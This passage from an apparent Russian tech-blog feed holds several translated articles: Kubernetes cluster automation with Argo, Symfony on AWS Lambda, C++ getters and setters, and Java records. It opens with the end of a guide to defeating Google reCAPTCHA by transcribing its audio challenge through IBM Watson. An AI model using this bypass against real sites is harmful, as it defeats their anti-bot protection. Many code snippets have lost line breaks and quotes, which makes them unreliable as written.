filename = 1.mp3byPassUrl = https://www.google.com/recaptcha/api2/demo'googleIBMLink = https://speech-to-text-demo.ng.bluemix.net/'option = webdriver.ChromeOptions()option.add_argument('--disable-notifications')option.add_argument("--mute-audio")

Остальная часть кода приведена ниже. Теперь я объясню, как это работает.

Когда скрипт запускается, проверяется поле I'm not a robot.

И дальше все появляется (как обычно).

После по скрипту выбирается кнопка аудио внизу слева.

И появляется вот это. После этого загружается аудио с именем "1.mp3".

Это займет несколько секунд, не волнуйтесь. После этого в браузере откроется новая вкладка, которая перейдет от речи watson к конвертеру в текст и загрузит файл.

Как видите, аудиофайл преобразуется в текст. Он копирует текст и вставляет его в текстовое поле.

И далее нажимается кнопка "Проверить".

Вот, смотрите... Проблема решена. Если у вас есть какие-либо проблемы и вопросы, пишите. Я отвечу на них как только смогу.

Код


Всех читателей нашего блога приглашаем ознакомиться с курсами по тестированию от OTUS.

- Demo Day курса "Python QA Engineer"

- Demo Day курса "Java QA Automation Engineer".

Подробнее..

Перевод Построение кластеров Kubernetes средствами самого Kubernetes

10.06.2021 18:12:02 | Автор: admin

Думаете, я сошел с ума? Я уже сталкивался с такой реакцией, когда впервые предложил развертывать кластеры Kubernetes с помощью Kubernetes.

Но я убежден, что для автоматизации облачной инфраструктуры нет более эффективного инструмента, чем сам Kubernetes.С помощью одного центрального кластера K8s мы можем создать сотни других подконтрольных кластеров K8s. В этой статье я покажу, как это делается.

Примечание.SAP Concur использует AWS EKS, но рассматриваемые здесь концепции также применимы к Google GKE, Azure AKS и любым другим реализациям Kubernetes от облачных провайдеров.

Готовность к эксплуатации в рабочей среде

Создать кластер Kubernetes у любого из распространенных облачных провайдеров стало проще простого. Например, в AWS EKS кластер поднимается одной командой:

$ eksctl create cluster

Совсем другое дело, если нужно получить кластер Kubernetes, готовый к эксплуатации в рабочей среде production-ready Понятие production-ready может толковаться по-разному, но в SAP Concur используются следующие четыре этапа для создания и предоставления кластеров Kubernetes, готовых к эксплуатации в рабочей среде.

Четыре этапа сборки

  • Предварительное тестирование.Перечень простых тестов целевой среды AWS, которые проверяют соответствие всем необходимым требованиям до начала сборки кластера. Например, проверяются доступные IP-адреса в подсетях, экспортируемые параметры для AWS, параметры SSM или другие переменные.

  • Уровень управления EKS и группа узлов.Непосредственно сборка кластера AWS EKS с подключением рабочих узлов.

  • Установка дополнений.Добавим в кластер любимую приправу. :) По желанию можно установить такие дополнения, как Istio, Logging Integration, Autoscaler и пр.

  • Валидация кластера.На этом этапе мы проверяем кластер (основные компоненты EKS и дополнения) с функциональной точки зрения перед его передачей в эксплуатацию. Чем больше тестов вы напишете, тем крепче будете спать. (Особенно, если в техподдержке именно вы на дежурстве!)

Склеиваем все вместе

Четыре этапа сборки включают в себя разные инструменты и методы (мы вернемся к ним позже). Нам нужен был универсальный инструмент для всех этапов, который склеил бы все вместе, поддерживал последовательное и параллельное выполнение, был событийно-ориентированным и, желательно, визуализировал сборку.

В результате мы нашли семейство решений Argo, в частности инструменты Argo Events и Argo Workflows. Они оба запускаются в Kubernetes как CRD и полагаются на декларативную концепцию YAML, как и множество других развертываний Kubernetes.

У нас получилась идеальная комбинация: императивная оркестрация и декларативная автоматизация

Кластер K8s, готовый к эксплуатации в рабочей среде. Создан с помощью Argo WorkflowsКластер K8s, готовый к эксплуатации в рабочей среде. Создан с помощью Argo Workflows

Поэтапная реализация процесса в Argo Workflows

Argo Workflows это движок рабочих процессов с открытым кодом и нативной поддержкой контейнеров, предназначенный для оркестрации параллельных заданий в среде Kubernetes. Argo Workflows реализован как Kubernetes CRD.

Примечание.Если вы знакомы с K8s YAML, обещаю, что вы разберетесь.

Давайте посмотрим, как все эти четыре этапа сборки могут выглядеть в Argo Workflows.

1. Предварительное тестирование

Предварительные тесты выполняются параллельно, с повторением попыток в случае сбоевПредварительные тесты выполняются параллельно, с повторением попыток в случае сбоев

Мы пишем тесты на фреймворке BATS. Написать предварительный тест в BATS очень просто:

#!/usr/bin/env bats@test More than 100 available IP addresses in subnet MySubnet {AvailableIpAddressCount=$(aws ec2 describe-subnets --subnet-ids MySubnet | jq -r .Subnets[0].AvailableIpAddressCount) [ ${AvailableIpAddressCount} -gt 100 ]}

Параллельный запуск приведенного выше тестового файла BATS (avail-ip-addresses.bats) вместе с тремя другими вымышленными тестами BATS через Argo Workflows выглядит следующим образом:

 name: preflight-tests  templateRef:     name: argo-templates    template: generic-template  arguments:    parameters:     name: command      value: {{item}}  withItems:   bats /tests/preflight/accnt-name-export.bats   bats /tests/preflight/avail-ip-addresses.bats   bats /tests/preflight/dhcp.bats   bats /tests/preflight/subnet-export.bats

2. Уровень управления EKS и группа узлов

Уровень управления EKS и группа узлов с зависимостямиУровень управления EKS и группа узлов с зависимостями

Для построения кластера EKS можно использовать любой удобный инструмент. Например, eksctl, CloudFormation или Terraform. Двухэтапное построение базового кластера EKS с зависимостями в Argo Workflows с помощью шаблонов CloudFormation (eks-controlplane.yaml и eks-nodegroup.yaml) реализуется следующим образом.

 name: eks-controlplane  dependencies: [preflight-tests]  templateRef:     name: argo-templates    template: generic-template arguments:   parameters:    name: command     value: |       aws cloudformation deploy \       --stack-name {{workflow.parameters.CLUSTER_NAME}} \       --template-file /eks-core/eks-controlplane.yaml \       --capabilities CAPABILITY_IAM- name: eks-nodegroup  dependencies: [eks-controlplane]  templateRef:     name: argo-templates    template: generic-template  arguments:    parameters:     name: command      value: |        aws cloudformation deploy \        --stack-name {{workflow.parameters.CLUSTER_NAME}}-nodegroup \        --template-file /eks-core/eks-nodegroup.yaml \        --capabilities CAPABILITY_IAM

3. Установка дополнений

Параллельная установка дополнений с зависимостямиПараллельная установка дополнений с зависимостями

Для установки дополнений можно применить kubectl, helm, kustomize или их комбинацию. Например, установка дополнения metrics-server с шаблоном helm и kubectl, при условии что запрошена установка metrics-server, может выглядеть в Argo Workflows следующим образом.

 name: metrics-server  dependencies: [eks-nodegroup]  templateRef:     name: argo-templates    template: generic-template  when: {{workflow.parameters.METRICS-SERVER}} != none  arguments:    parameters:     name: command      value: |        helm template /addons/{{workflow.parameters.METRICS-SERVER}}/ \        --name metrics-server \        --namespace kube-system \        --set global.registry={{workflow.parameters.CONTAINER_HUB}} | \        kubectl apply -f -

4. Валидация кластера

Параллельная валидация кластера с повторением попыток в случае сбоевПараллельная валидация кластера с повторением попыток в случае сбоев

Для валидации дополнений мы применяем BATS-библиотеку DETIK, которая заметно упрощает написание тестов для K8s.

#!/usr/bin/env batsload lib/utilsload lib/detikDETIK_CLIENT_NAME=kubectlDETIK_CLIENT_NAMESPACE="kube-system"@test verify the deployment metrics-server {  run verify there are 2 pods named metrics-server [ $status -eq 0 ]  run verify there is 1 service named metrics-server [ $status -eq 0 ]  run try at most 5 times every 30s to find 2 pods named metrics-server with status being running [ $status -eq 0 ]  run try at most 5 times every 30s to get pods named metrics-server and verify that status is running [ $status -eq 0 ]}

Запуск приведенного выше тестового файла BATS DETIK (metrics-server.bats), при условии что установлено дополнение metrics-server, можно реализовать в Argo Workflows так:

 name: test-metrics-server  dependencies: [metrics-server]  templateRef:    name: worker-containers    template: addons-tests-template  when: {{workflow.parameters.METRICS-SERVER}} != none  arguments:    parameters:     name: command      value: |        bats /addons/test/metrics-server.bats

Только представьте, сколько еще можно сюда подключить тестов. Нужны тесты Sonobuoy, Popeye или Fairwinds Polaris? Просто подключите их через Argo Workflows!

К этому моменту у вас должен получиться полнофункциональный, готовый к эксплуатации в рабочей среде кластер AWS EKS с установленным дополнением metrics-server. Все тесты пройдены, кластер можно принимать в работу. Дело сделано!

Но мы еще не прощаемся самое интересное я оставил напоследок.

Шаблоны рабочих процессов

Argo Workflows поддерживает многоразовые шаблоны рабочих процессов (WorkflowTemplates). Каждый из четырех этапов сборки представляет собой такой шаблон. По сути, мы получили сборочные элементы, которые можно произвольно комбинировать друг с другом. Все этапы сборки можно выполнять по порядку через главный рабочий процесс (как в примере выше) или можно запускать их независимо друг от друга. Такая гибкость стала возможной благодаря Argo Events.

Argo Events

Argo Events это событийно-ориентированный фреймворк для Kubernetes, который позволяет инициировать объекты K8s, Argo Workflows, бессерверные рабочие нагрузки и другие операции на основе различных триггеров, таких как веб-хуки, события в S3, расписания, очереди сообщений, Google Cloud Pub/Sub, SNS, SQS и пр.

Сборка кластера запускается посредством API-вызова (Argo Events) с использованием полезной нагрузки из JSON. Кроме того, каждый из четырех этапов сборки (WorkflowTemplates) имеет собственную конечную точку API. Операторы Kubernetes (тоесть люди) получают явные преимущества:

  • Не уверены, в каком состоянии находится облачная среда? Вызывайте API предварительных тестов.

  • Хотите собрать голый кластер EKS? Вызывайте API eks-core (control-plane и nodegroup).

  • Хотите установить или переустановить дополнения в существующем кластере EKS? Вызывайте API дополнений.

  • Кластер начал чудить и вам нужно быстро его протестировать? Вызывайте API тестирования.

Возможности Argo

Решения Argo Events и Argo Workflows предлагают широкий функционал прямо из коробки, не нагружая вас лишней работой.

Вот семь самых востребованных функций:

  • Параллелизм

  • Зависимости

  • Повторные попытки (см. выделенные красным предварительные тесты и тесты валидации на рисунках выше: они завершались сбоем, но Argo повторял их до успешного прохождения)

  • Условия

  • Поддержка S3

  • Шаблоны рабочих процессов

  • Параметры сенсоров событий

Заключение

Мы подружили множество различных инструментов и смогли через них императивно задать желаемое состояние инфраструктуры. Мы получили гибкое, бескомпромиссное и быстрое в реализации решение на основе Argo Events и Workflows. В планах приспособить эти инструменты под другие задачи автоматизации. Возможности безграничны.


Перевод материала подготовлен в рамках курса Инфраструктурная платформа на основе Kubernetes. Всех желающих приглашаем на двухдневный онлайн-интенсив Примитивы, контроллеры и модели безопасности k8s. На нем будет обзор и практика по основным примитивам и контроллерам к8с. Рассмотрим, чем отличаются и в каких случаях используются. Регистрация здесь

Подробнее..

Перевод Развертывание приложения Symfony в AWS Lambda

11.06.2021 18:10:18 | Автор: admin

Сначала давайте разберемся, что такое бессерверная архитектура и когда она нужна.

Бессерверная архитектура позволяет выполнять фрагменты кода без мороки с инфраструктурой: в этом случае управлением веб-сервером, физическим оборудованием и администрированием занимается облачный провайдер, позволяя вам сосредоточиться исключительно на коде.

AWS Lambda обеспечивает высокую доступность, причем плата взимается только за фактически затрачиваемое время вычислений. Этот сервис может быть весьма полезен для таких задач, как запуск cron-заданий, отправка уведомлений в режиме реального времени, предоставление доступа к API, обработка каких-нибудь событий при выполнении различных операций и т.д. В сети можно найти массу примеров использования сервиса.

Наш сценарий использования

Предоставить доступ к API, созданному с помощью Symfony, который публикует сообщения в LinkedIn. Процесс разработки будет включать этапы от написания до развертывания кода.

Пишем код

В Symfony 5-й версии появился новый компонент под названием Notifier, который дает возможность отправлять уведомления через разные сервисы (Slack, Twitter, Twilio и др.).

В Symfony нет встроенной поддержки LinkedIn, поэтому несколько месяцев назад я создал поверх Notifier шлюз для публикации контента в этой социальной сети. Исходный код шлюза можно посмотреть по ссылке, его же мы будем использовать и в этой демонстрации.

Приступаем

$ symfony new --full aws-lambda-linkedin-notifier$ cd aws-lambda-linkedin-notifier$ composer require eniams/linkedin-notifier

Включаем шлюз (см. документацию)

<?php// config/bundles.phpreturn [// others bundles,Eniams\Notifier\LinkedIn\LinkedInNotifierBundle::class => ['all' => true]];// .envLINKEDIN_DSN=

Логика публикации контента

<?phpclass PostContentController{    /**     * @Route("/contents", name="post_content", methods="POST")     */    public function __invoke(NotifierInterface $notifier, Request $request)    {        if(null !== $message = (\json_decode($request->getContent(), true)['message'] ?? null)) {            $notifier->send(new Notification($message, ['chat/linkedin']));            return new JsonResponse('message posted with success', 201);        }        throw new BadRequestException('Missing "message" in body');    }}

Логика проста: мы предоставляем доступ к API через маршрут /contents, который принимает запрос POST с сообщением message в его теле.

В 11-й строке мы отправляем публикуемое сообщение в LinkedIn благодаря Symfony и шлюзу это делается очень просто!

Будучи профессиональными разработчиками, покроем этот код автотестами:

<?phpclass PostContentControllerTest extends WebTestCase    /**     * @dataProvider methodProvider     */    public function testANoPostRequestShouldReturnA405(string $method)    {        $client = static::createClient();        $client->request($method, '/contents');        self::assertEquals(405, $client->getResponse()->getStatusCode());    }    public function testAPostRequestWithoutAMessageInBodyShouldReturnA400()    {        $client = static::createClient();        $client->request('POST', '/contents');        self::assertEquals(400, $client->getResponse()->getStatusCode());    }    public function testAPostRequestWithAMessageInBodyShouldReturnA201()    {        $request = new Request([],[],[],[],[],[], json_encode(['message' => 'Hello World']));        $notifier = new class implements NotifierInterface {            public function send(Notification $notification, Recipient ...$recipients): void            {            }        };        $controller = new PostContentController();        $response = $controller->__invoke($notifier, $request);        self::assertEquals(201, $response->getStatusCode());    }    public function methodProvider()    {        return [            ['GET'],            ['PUT'],            ['DELETE'],        ];    }view rawTestPostContentController.php hosted with  by GitHub

Код готов! Пришло время его развернуть

Стоп! Что?! AWS Lambda не поддерживает PHP!

Именно так: AWS Lambda поддерживает не все языки программирования, а только некоторые, в том числе Go, Java, Python, Ruby, NodeJS и .NET.

Теперь надо учить новый язык и переписывать код? Надеюсь, нет!

Ничего переписывать не придется благодаря Матье Напполи (Matthieu Nappoli), создателю Bref.sh, и замечательной команде, помогающей ему поддерживать этот проект с открытым исходным кодом.

Bref позволяет развертывать PHP-приложения в AWS и запускать их на AWS Lambda.

Конфигурация развертывания

Добавим в kernel.php обработку логов:

<?php    // Kernel.php    public function getLogDir(): string    {        if (getenv('LAMBDA_TASK_ROOT') !== false) {            return '/tmp/log/';        }        return parent::getLogDir();    }    public function getCacheDir()    {        if (getenv('LAMBDA_TASK_ROOT') !== false) {            return '/tmp/cache/'.$this->environment;        }        return parent::getCacheDir();    }

Подготовим фреймворк Serverless (см. документацию):

$ npm install -g serverless$ serverless config credentials --provider aws --key  --secret$ composer require bref/bref

Зададим конфигурацию в файле serverless.yaml:

service: notifier-linkedin-apiprovider:    name: aws    region: eu-west-3    runtime: provided    environment: # env vars        APP_ENV: prod        LINKEDIN_DSN: YOUR_DSNplugins:    - ./vendor/bref/breffunctions:    website:        handler: public/index.php # bootstrap         layers:            - ${bref:layer.php-73-fpm} # https://bref.sh/docs/runtimes/index.html#usage         timeout: 28 # Timeout to stop the compute time        events:            - http: 'POST /contents' # Only POST to /contents are allowedpackage:    exclude:        - 'tests/**'view rawserverless.yaml hosted with  by GitHub

Развертываем!

$ serverless deployServerless: Packaging service...Serverless: Excluding development dependencies...Serverless: Uploading CloudFormation file to S3...Serverless: Uploading artifacts...Serverless: Uploading service notifier-linkedin-api.zip file to S3 (10.05 MB)...Serverless: Validating template...Serverless: Updating Stack...Serverless: Checking Stack update progress.......................Serverless: Stack update finished...Service Informationservice: notifier-linkedin-apistage: devregion: eu-west-3stack: notifier-linkedin-api-devresources: 15api keys:  Noneendpoints:  POST - https://xxx.execute-api.eu-west-3.amazonaws.com/dev/contentsfunctions:  website: notifier-linkedin-api-dev-websitelayers:  NoneServerless: Removing old service artifacts from S3...Serverless: Run the "serverless" command to setup monitoring, troubleshooting and testing.

Теперь наш код развернут в AWS Lambda, а API доступен по адресу https://xxx.execute-api.eu-west-3.amazonaws.com/dev/contents.

Попробуем:


Перевод материала подготовлен в рамках курса "Symfony Framework". Если интересно узнать о курсе больше, приглашаем на день открытых дверей онлайн, где преподаватель расскажет о формате и программе обучения.

Подробнее..

Перевод Пара мыслей о геттерах и сеттерах в C

11.06.2021 18:10:18 | Автор: admin

Эта статья посвящена геттерам и сеттерам в C++. Приношу свои извинения, но речь пойдет не о корутинах. К слову, в ближайшее время появится вторая часть про пулы потоков.

TL;DR: геттеры и сеттеры не очень хорошо подходят для структуроподобных объектов.

Введение

В этой статье я лишь высказываю свое личное мнение, я не преследую цели кого-нибудь обидеть или задеть, я просто собираюсь объяснить, почему и когда стоит или не стоит, использовать геттеры и сеттеры. Буду очень рад любым дискуссиям в комментариях.

Следует сразу прояснить, что когда я говорю о геттере, я подразумеваю функцию, которая просто что-то возвращает, а когда я говорю о сеттере, я подразумеваю функцию, которая просто изменяет одно внутреннее значение, не выполняя никаких проверок или других дополнительных вычислений.

Производительность и геттеры

Допустим, у нас есть простая структура с обычными геттерами и сеттерами:

class PersonGettersSetters {  public:    std::string getLastName() const { return m_lastName; }    std::string getFirstName() const { return m_firstName; }    int getAge() const {return m_age; }        void setLastName(std::string lastName) { m_lastName = std::move(lastName); }    void setFirstName(std::string firstName) { m_firstName = std::move(firstName); }    void setAge(int age) {m_age = age; }  private:    int m_age = 26;    std::string m_firstName = "Antoine";    std::string m_lastName = "MORRIER";    };

Сравним эту версию с версией без геттеров и сеттеров.

struct Person {    int age = 26;    std::string firstName = "Antoine";    std::string lastName = "MORRIER";};

Она намного лаконичнее и надежнее. Здесь мы не можем, например, верну фамилию вместо имени.

Оба кода полностью функциональны. У нас есть класс Person с именем (firstName), фамилией (lastName) и возрастом (age). Однако предположим, что нам нужна функция, которая возвращает некоторую сводку по конкретному человеку.

std::string getPresentation(const PersonGettersSetters &person) {  return "Hello, my name is " + person.getFirstName() + " " + person.getLastName() +  " and I am " + std::to_string(person.getAge());}std::string getPresentation(const Person &person) {  return "Hello, my name is " + person.firstName + " " + person.lastName + " and I am " + std::to_string(person.age);}

Версия без геттеров выполняет эту задачу на 30% быстрее, чем версия с геттерами. Почему? Из-за возврата по значению в геттере. При возврате по значению создается копия, что снижает производительность. Давайте сравним производительность person.getFirstName(); и person.firstName.

Как видите, прямой доступ к полю имени без геттера эквивалентен noop.

Геттер по константной ссылке

Однако можно использовать возврат не по значению, а по ссылке. Так образом мы получим такую же производительность, как и без использования геттеров. Обновленный код будет выглядеть так:

class PersonGettersSetters {  public:    const std::string &getLastName() const { return m_lastName; }    const std::string &getFirstName() const { return m_firstName; }    int getAge() const {return m_age; }        void setLastName(std::string lastName) { m_lastName = std::move(lastName); }    void setFirstName(std::string firstName) { m_firstName = std::move(firstName); }    void setAge(int age) {m_age = age; }  private:    int m_age = 26;    std::string m_firstName = "Antoine";    std::string m_lastName = "MORRIER";    };

Так как мы получаем ту же производительность, что и в лаконичной версии, мы можем на этом успокоиться, не так ли? Прежде чем отвечать на этот вопрос, попробуйте выполнить этот код.

PersonGettersSetters make() {    return {};   }int main() {    auto &x = make().getLastName();         std::cout << x << std::endl;        for(auto x : make().getLastName()) {        std::cout << x << ",";       }}

Вы можете заметить некоторые странные символы, выведенные в консоли. Но почему? Что произошло, когда мы сделали make().getLastName()?

  1. Вы создаете экземпляр Person.

  2. Вы получаете ссылку на фамилию.

  3. Вы удаляете экземпляр Person.

И вот у нас есть висячая ссылка! Это может привести к крашам (в лучшем случае) или чему-то еще более худшему, чему-то, что можно найти только в фильмах ужасов.

Чтобы предупредить это, мы должны ввести ref-qualified функции.

class PersonGettersSetters {  public:    const std::string &getLastName() const & { return m_lastName; }    const std::string &getFirstName() const & { return m_firstName; }        std::string getLastName() && { return std::move(m_lastName); }    std::string getFirstName() && { return std::move(m_firstName); }        int getAge() const {return m_age; }        void setLastName(std::string lastName) { m_lastName = std::move(lastName); }    void setFirstName(std::string firstName) { m_firstName = std::move(firstName); }    void setAge(int age) {m_age = age; }      private:    int m_age = 26;    std::string m_firstName = "Antoine";    std::string m_lastName = "MORRIER";    };

Вот новое решение, которое будет работать везде. Вам нужно два геттера. Один для lvalue и один для rvalue (как xvalue, так и для prvalue).

Проблемы с сеттерами

Тут особо нечего сказать. Если вы хотите добиться максимальной производительности, вы должны написать один сеттер, который принимает lvalue, и один, который принимает rvalue. Однако, как правило, достаточно иметь всего один сеттер, который принимает перемещаемое значение. Тем не менее, вам придется расплатиться за это дополнительным move. Однако таким образом у вас не получится производить небольшие изменения в переменных. Вы должны заменять всю переменную целиком. Если вы просто хотите заменить одну букву A в имени на D, то вы не сможете сделать это с помощью сеттеров. Однако с помощью прямого доступа так делать можно.

А как насчет иммутабельных переменных?

Кто-то может посоветовать вам просто сделать атрибут члена const. Однако меня это решение не устраивает. Создание константы предотвратит move-семантику и приведет к ненужному копированию.

У меня нет волшебного решения, которое я мог бы предложить вам прямо сейчас. Тем не менее, мы можем написать обертку, которую мы можем назвать immutable<T>. Эта обертка должна быть:

  1. Constructible

  2. Так как она immutable, она не должна быть assignable

  3. Она может быть copy constructible или move constructible

  4. Она должна быть конвертируемой в const T&, будучи lvalue

  5. Она должна быть конвертируемой в T, будучи rvalue

  6. Она должна использоваться, как и другие оболочки, с помощью оператора * или оператора ->.

  7. Получить адрес базового объекта должно быть легко.

Вот небольшая реализация:

#define FWD(x) ::std::forward<decltype(x)>(x)template <typename T>struct AsPointer {    using underlying_type = T;    AsPointer(T &&v) noexcept : v{std::move(v)} {}    T &operator*() noexcept { return v; }    T *operator->() noexcept { return std::addressof(v); }    T v;};template <typename T>struct AsPointer<T &> {    using underlying_type = T &;    AsPointer(T &v) noexcept : v{std::addressof(v)} {}    T &operator*() noexcept { return *v; }    T *operator->() noexcept { return v; }    T *v;};template<typename T>class immutable_t {  public:    template <typename _T>    immutable_t(_T &&t) noexcept : m_object{FWD(t)} {}    template <typename _T>    immutable_t &operator=(_T &&) = delete;    operator const T &() const &noexcept { return m_object; }    const T &operator*() const &noexcept { return m_object; }    AsPointer<const T &> operator->() const &noexcept { return m_object; }    operator T() &&noexcept { return std::move(m_object); }    T operator*() &&noexcept { return std::move(m_object); }    AsPointer<T> operator->() &&noexcept { return std::move(m_object); }    T *operator&() &&noexcept = delete;    const T *operator&() const &noexcept { return std::addressof(m_object); }    friend auto operator==(const immutable_t &a, const immutable_t &b) noexcept { return *a == *b; }    friend auto operator<(const immutable_t &a, const immutable_t &b) noexcept { return *a < *b; }  private:    T m_object;};

Таким образом, для иммутабельного объекта Person вы можете просто написать:

struct ImmutablePerson {    immutable_t<int> age = 26;    immutable_t<std::string> firstName = "Antoine";    immutable_t<std::string> lastName = "MORRIER";};

Заключение

Я бы не сказал, что геттеры и сеттеры - это зло. Однако, когда вам не нужно делать что-либо еще в геттере и сеттере, достижение максимальной производительности, безопасности и гибкости подводит вас к написанию:

  • 3-х геттеров (или даже 4-х): const lvalue, rvalue, const rvalue и, по вашему усмотрению, для неконстантного lvalue (даже если это уже просто очень странно звучит, так как проще использовать прямой доступ)

  • 1 сеттер (или 2, если вы хотите выжать максимальную производительность).

Это по большому счету шаблон, который подходит практически для всего.

Некоторые люди могут вам сказать, что геттеры и сеттеры обеспечивают инкапсуляцию, но это не так. Инкапсуляция - это не просто делать атрибуты приватными. Речь идет о сокрытии внутренностей от пользователей, а в структуроподобных объектах вы редко хотите что-либо скрывать.

Мой совет: когда у перед вами структуроподобный объект, просто не используйте геттеры и сеттеры, а используйте публичный/прямой доступ. Проще говоря, если вам не нужен сеттер для поддержания инвариантности, вам не нужен приватный атрибут.

PS: Для людей, которые используют библиотеки с поверхностным копированием, влияние на производительность менее важно. Однако вам все равно нужно написать 2 функции вместо 0. Не забывайте, что чем меньше кода вы напишете, тем меньше будет ошибок, проще поддерживать и легче читать этот самый код.

Ну а что думаете вы? Используете ли вы геттеры и сеттеры? И почему?


Перевод материала подготовлен в рамках курса "C++ Developer. Basic". Всех желающих приглашаем на двухдневный онлайн-интенсив HTTPS и треды в С++. От простого к прекрасному. В первый день интенсива мы настроим свой http-сервер и разберем его что называется от и до. Во второй день произведем все необходимые замеры и сделаем наш сервер супер быстрым, что поможет нам понять на примере, чем же все-таки язык С++ лучше других. Регистрация здесь

Подробнее..

Перевод Сравнение Java-записей, Lombok Data и Kotlin data-классов

16.06.2021 20:20:54 | Автор: admin

Несмотря на то что все три решения позволяют бороться с бойлерплейт кодом, общего между ними довольно мало. У записей более сильная семантика, из которой вытекают их важные преимущества. Что часто делает их лучшим выбором, хотя и не всегда.

Я уверен, что вы уже видели примеры, как с помощью записей превратить обычный POJO ...

class Range {private final int low;private final int high;public Range(int low, int high) {this.low = low;this.high = high;}public int getLow() {return low;}public int getHigh() {return high;}@Overridepublic boolean equals(Object o) {if (this == o)return true;if (o == null || getClass() != o.getClass())return false;Range range = (Range) o;return low == range.low &&high == range.high;}@Overridepublic int hashCode() {return Objects.hash(low, high);}@Overridepublic String toString() {return "[" + low + "; " + high + "]";}}

в одну строчку кода:

//          это компоненты записи (components)record Range (int low, int hight) { }

Конечно, аннотации @Data и @Value из Lombok обеспечивают аналогичную функциональность с давних пор, хоть и с чуть большим количеством строк:

@Dataclass Range {private final int low;private final int high;}

А если вы знакомы с Kotlin, то знаете, что то же самое можно получить, используя data-класс:

data class Range(val low: Int, val high: Int)

Получается, что это одно и то же? Нет. Уменьшение бойлерплейт кода не является целью записей, это следствие их семантики.

К сожалению, этот момент часто упускается. Об уменьшении бойлерплейт кода говорят много, так как это очевидно и легко демонстрируется, но семантика и вытекающие из нее преимущества остаются незамеченными. Официальная документация не помогает в ней тоже все описывается под углом бойлерплейта. И хотя JEP 395 лучше объясняет семантику, но из-за своего объема все довольно расплывчато, когда дело доходит до описания преимуществ записей. Поэтому я решил описать их в этой статье.

Семантика записей (records)

В JEP 395 говорится:

Записи (records) это классы, которые действуют как прозрачные носители неизменяемых данных.

Таким образом, создавая запись, вы говорите компилятору, своим коллегам, всему миру, что указанный тип хранит данные. А точнее, иммутабельные (поверхностно) данные с прозрачным доступом. Это основная семантика все остальное вытекает из нее.

Если такая семантика не применима к нужному вам типу, то не используйте записи. А если вы все равно будете их использовать (возможно, соблазнившись отсутствием бойлерплейта или потому что вы думаете, что записи эквивалентны @Data / @Value и data-классам), то только испортите свою архитектуру, и велики шансы, что это обернется против вас. Так что лучше так не делать.

(Извините за резкость, но я должен был это сказать.)

Прозрачность и ограничения

Давайте подробнее поговорим о прозрачности (transparency). По этому поводу у записей есть даже девиз (перефразированный из Project Amber):

API записей моделирует состояние, только состояние и ничего, кроме состояния.

Для реализации этого необходимы ряд ограничений:

  • для всех компонент должны быть аксессоры (методы доступа) с именем, совпадающим с именем компонента, и возвращающие такой же тип, как у компонента (иначе API не будет моделировать состояние)

  • должен быть конструктор с параметрами, которые соответствуют компонентам записи (так называемый канонический конструктор; иначе API не будет моделировать состояние)

  • не должно быть никаких дополнительных полей (иначе API не будет моделировать состояние)

  • не должно быть наследования классов (иначе API не будет моделировать состояние, так как некоторые данные могут находиться в другом месте за пределами записи)

И Lombok и data-классы Kotlin позволяют создавать дополнительные поля, а также приватные "компоненты" (в терминах записей Java, а Kotlin называет их параметрами первичного конструктора). Так почему же Java относится к этому так строго? Чтобы ответить на этот вопрос, нам понадобится вспомнить немного математики.

Математика

Множество (set) это набор некоторых элементов. Например, можно сказать, что C это множество всех цветов {синий, золотой, ...}, а N множество всех натуральных чисел {0, 1, ...}. Конечное множество {-2147483648, ..., 0, ..., 2147483647} это то, что в Java мы называем типом int. А если добавить к этому множеству null, то получим Integer. Аналогично бесконечное множество всех возможных строк (плюс null) мы называем String.

Итак, как вы поняли, тип это множество, значения которого допустимы для данного типа. Это также означает, что теория множеств "раздел математики, в котором изучаются общие свойства множеств" (как говорит Википедия), связана с теорией типов "академическим изучением систем типов" (аналогично), на которую опирается проектирование языков программирования.

class Pair {private final int first;private final int second;}

Можно назвать соответствующее множество Pair, и это будет работать. Давайте немного углубимся, так как теперь мы знаем о множествах. В частности, мы видим, что у нас получилось сочетание всех целых чисел со всеми целыми числами. В теории множеств это называется произведением и записывается как int int (каждый тип в произведении называется операндом).

Это здорово, потому что теория множеств может многое сказать о применении функций к произведениям. Одним из аспектов этого является то, как функции, работающие с одним операндом, могут комбинироваться с функциями, работающими с несколькими операндами, и какие свойства функций (инъективные, биективные и т. д.) остаются нетронутыми.

// given: bijective function from int to intIntUnaryOperator increment =i -> i == Integer.MAX_VALUE ? Integer.MIN_VALUE : ++i;// then: combining two `increment`s yields a bijective function//       (this requires no additional proof or consideration)UnaryOperator<Pair> incrementPair =pair -> new Pair(increment.applyAsInt(pair.first()),increment.applyAsInt(pair.second()));

Вы обратили внимание на аксессоры Pair::first и Pair::second? Их не было в классе выше, поэтому их пришлось добавить. Иначе нельзя было бы применить функции к отдельным компонентам / операндам, и использовать Pair в качестве пары целых чисел. Аналогично, но с другой стороны, мне нужен конструктор, принимающий в качестве аргументов оба целых числа, чтобы можно было воспроизвести pair.

В общем случае, чтобы применить теорию множеств к типу так, как я упоминал выше, ко всем его операндам должен быть доступ и должен существовать способ превратить кортеж операндов в экземпляр. Если верно и то и другое, то теория типов называет такой тип "тип-произведение" (а его экземпляры кортежами), и с ними можно делать несколько интересных вещей.

На самом деле записи лучше кортежей. В JEP 395 говорится:

Записи можно рассматривать как номинативные кортежи.

Где "номинативность" означает, что записи идентифицируются по их именам, а не по их структуре. Таким образом, два типа записей, которые моделируют int int, например, Pair(int first, int second) и Range(int low, int high) будут разными типами. А также обращение к компонентам записи идет не по индексу (range.get1()), а по имени (record.low()).

Следствия

Я хочу донести до вас следующую мысль: записи стремяться стать типом-произведением и, чтобы это работало, все их компоненты должны быть доступны. То есть не может быть скрытого состояния, и должен быть конструктор, принимающий все компоненты. Именно поэтому записи являются прозрачными носителями неизменяемых данных.

Итак, если подытожить:

  • Аксессоры (методы доступа) генерируются компилятором.

  • Мы не можем изменять их имена или возвращаемый тип.

  • Мы должны быть очень осторожны с их переопределением.

  • Компилятор генерирует канонический конструктор.

  • Наследование отсутствует.

Преимущества записей

Большинство преимуществ, которые мы получаем от алгебраической структуры, связаны с тем, что аксессоры вместе с каноническим конструктором позволяют разбирать и пересоздавать экземпляры записей структурированным образом без потери информации.

Деструктурирующие паттерны

if (range instanceof Range(int low, int high) && high < low)    return new Range(high, low);

Благодаря полной прозрачности записей мы можем быть уверены, что не пропустим скрытое состояние. Это означает, что разница между range и возвращаемым экземпляром это именно то, что вы видите: low и high меняются местами не более того.

Блок with

Range range = new Range(5, 10);// SYNTAX IS MADE UP!Range newRange = range with { low = 0; }// range: [5; 10]// newRange: [0; 10]

